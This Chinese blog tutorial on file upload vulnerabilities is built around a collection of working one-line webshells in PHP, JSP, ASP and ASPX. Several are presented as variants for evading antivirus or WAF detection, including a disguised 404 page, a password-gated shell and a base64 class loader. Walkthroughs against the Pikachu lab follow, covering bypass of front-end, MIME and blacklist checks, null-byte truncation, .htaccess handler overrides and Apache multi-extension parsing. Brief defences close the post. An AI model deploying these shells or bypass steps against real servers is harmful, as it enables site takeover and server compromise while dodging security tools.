文件上传漏洞

文件上传漏洞

1.文件上传漏洞简述

文件上传功能是很多web程序都带的一个功能,但是如果web后端没有对文件做一些安全性的限制的话,那么很有可能这个文件上传上来会破坏掉整个web程序,这就是文件上传漏洞。

文件上传漏洞发生的前提就web程序要有文件上传的功能,并且能够解析上传的文件脚本语言,而且还要知道文件的访问路径,三者缺一不可。

文件上传漏洞可以做到控制网站,从而对整个网站实现增删改查等一系列操作,还可以做到服务器提权,控制整个服务器。

当一个web程序有以下特点时,容易引发文件上传漏洞:

1.安全层面使用前端脚本验证

2.后端过滤有逻辑缺陷甚至没有过滤

3.服务端上传文件的访问路径已知或者能被获得

4.服务器配置有纰漏,比如如果开启put请求可以直接进去写文件

2.一句话木马及其原理

对文件上传漏洞的利用,莫过于上传一句话木马了。一句话木马强大又简单,不容易被查杀出来。

一句话木马的原理非常简单,就是让脚本语言以系统命令的形式执行接受到的参数

下面给出常见脚本语言的一句话木马:

PHP:

//经典一句话:
<?php
eval($_POST['a']);
?>
    
//防爆破一句话,连接地址:http://ip/x.php?x=myh0st
<?php
substr(md5($_REQUEST['x']),28)=='6862'&&eval($_REQUEST['password']);
?>
    
//过狗,地址 http://ip/x.php?s=assert
<?php
($_=@$_GET[s]).@$_($_POST[hihack])
?> 
<php $a = "a"."s"."s"."e"."r"."t"; $a($_POST[hihack]);
?>
    
//404隐藏,如果使用菜刀连接时配置<O>date=@eval($_POST[paxmac]);</O>

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL /error.php was not found on this server. </p>
</body></html>
<?php
@preg_replace("/[checksql]/e",$_POST['hihack'],"saft");
?>
    
//躲避问号检测
<script language="php">eval ($_POST[hihack]);</script>

//躲检测
<?php assert($_REQUEST["hihack"]);?>



JSP:

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

ASP

//经典马
<%eval request("hihack")%>或<%execute(request("hihack"))%>

//配置文件挂马,需要能写配置文件,使用方法:访问报错,获取到配置文件的地址,然后连接
"%><% bbbb=request("aaaa")%><%eval(bbbb)%><%'
    
//不用%
<script language=VBScript runat=server>execute request("hihack")</script>
    
//不用双引号
<%eval request(chr(35))%>

ASPX

<%@ Page Language=”Jscript”%> <%eval(Request.Item[“hihack”],”unsafe”);%>

一句话木马和大马各自的优缺点:

一句话木马优点:量小,简单而有效,不易被查杀。缺点:功能太少,大部分情况下无效

大马优点:功能强大,可以做到好多事情。缺点:体积过大容易被查杀,不易被上传

3.大马

这里的大马是在GitHub下载的一个php木马文件,功能比较强大

访问图:

在这里插入图片描述

密码123456

在这里插入图片描述

可以看到还是有特别多的功能的。

4.文件上传漏洞利用

1)js检测绕过

有的网站为了防止文件上传漏洞,它开启了js前端的检测,限制一些文件后缀名。但是这种方法特别好绕过。

打开皮卡丘的文件上传模块,看到它说明只能上传图片

在这里插入图片描述

我们先尝试一下上传一句话木马:

在这里插入图片描述

发现它被拦截了,我们把木马文件的后缀改成jpg,然后BP抓包改数据尝试:

在这里插入图片描述

在这里插入图片描述

可以看到文件上传成功了,上传的文件名就是后缀为PHP的

在这里插入图片描述

我们尝试连接:

在这里插入图片描述

在这里插入图片描述

可以看到成功连接了。

2)MIME类型检测绕过

MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。标准的文件上传组件中会自动上传文件的MIME类型,但是由于MIME类型是从客户端传递的,修改也不影响文件正常运行,因此通过BP拦截和修改MIME类型可以轻易绕过此类检测

我们再次使用pikachu的MIME上传:

在这里插入图片描述

发现它给我们的木马拦截了,我们使用BP修改请求包:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

3)黑名单过滤不严格绕过

有些网站的后端代码写的比较拉,导致有不少逻辑漏洞,就比如过滤的时候没有考虑到一些额外的扩展名,比如php文件可以写成phtml,jsp可以写成jspx等,或者windows系统还支持大小写的拓展名,或者是在文件后缀后加点或者空格,windows系统都会识别并且在文件上传上去之后将它恢复,或者使用0x00截断绕过,都可以进行绕过。

特殊后缀

我们查看源码发现后端的黑名单,并且尝试上传php木马:

在这里插入图片描述

在这里插入图片描述

我们现在进行特殊后缀尝试:

在这里插入图片描述

可以看到上传成功,我们尝试蚁剑连接:

我们通过右键查看图片就可以看到请求地址:
在这里插入图片描述

然后连接:

在这里插入图片描述

00截断

下面尝试使用00截断:

首先介绍一下00截断:文件名后缀就一个%00字节,可以截断某些函数对文件名的判断。在许多语 言函数中,处理字符串的函数中0x00被认为是终止符。例:网站上传函数处理xxx. php%00. jpg时,首先后缀名是合法的jpg格式,可以 上传,在保存文件时遇到%00字符丢弃后面的jpg,文件后缀最终保存的后缀 名为xxx. php .(简单演示,环境没有黑名单限制)在可以控制文件路径的情况下,使用超长的文件路径也有可能会导致文件路径截断.(系统都有对文件名长度有限制)

这里我们上传这个:

在这里插入图片描述

然后修改十六进制位(p是0x70,h是0x68):

在这里插入图片描述

然后访问连接:

在这里插入图片描述

在这里插入图片描述

.htaccess绕过

修通过move_uploaded_file函数把自己写的.htaccess文件覆盖掉服务器上的这样就可以解析定义名单了。

.htaccess文件用处:通过.htaccess文件调用php解释器去解析一个文件名中只要包含 “aa”这个字符串的任意文件,无论你文件名是什么样子,只要包 含”aa”这个字符串,都可以被以php的方式来解析。

.htaccess文件内容:

<FilesMatch “aa”>

SetHandler application/x-httpd-php

我们首先上传.htaccess文件:

在这里插入图片描述

然后上传我们的图片马:

在这里插入图片描述

然后我们使用蚁剑连接:

在这里插入图片描述

解析漏洞发生条件:

1.php5.6以下不带nts的版本
2.服务器没有禁止.htaccess文件的上传,且服务商允许用户使用自定义.htaccess文件

Apache解析绕过

一个文件名为test. php. aaa. bbb. ccc的文件,Apache会从ccc的位置往 php的位置开始尝试解析,如果ccc不属于Apache能解析的后缀名,那么 Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的扩展名为止。

apache 2.0-2.2 有可能存在此漏洞

我们新建一个这个文件:

在这里插入图片描述

然后我们尝试在apache服务器进行解析:

在这里插入图片描述

看到是可以的。

4)文件内容检测绕过

有的服务器后端会对文件内容进行一个检测,那么我们可以使用一张图片和我们的木马进行合并,做成一个以图片伪装的木马:

在这里插入图片描述

这样我们的图片马就做好了:

在这里插入图片描述

用这个图片马可以避开一些后端的内容检测,然后进行webshell获取

5.文件上传漏洞防护

1.上传文件的存储目录不给执行权限 

2.隐藏上传文件访问路径 

3.文件后缀白名单,注意0x00截断攻击(PHP更新到最新版本) 

4.不能有本地文件包含漏洞(include dama. jpg) 

5.及时更新web应用软件避免解析漏洞攻击
  • 0
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值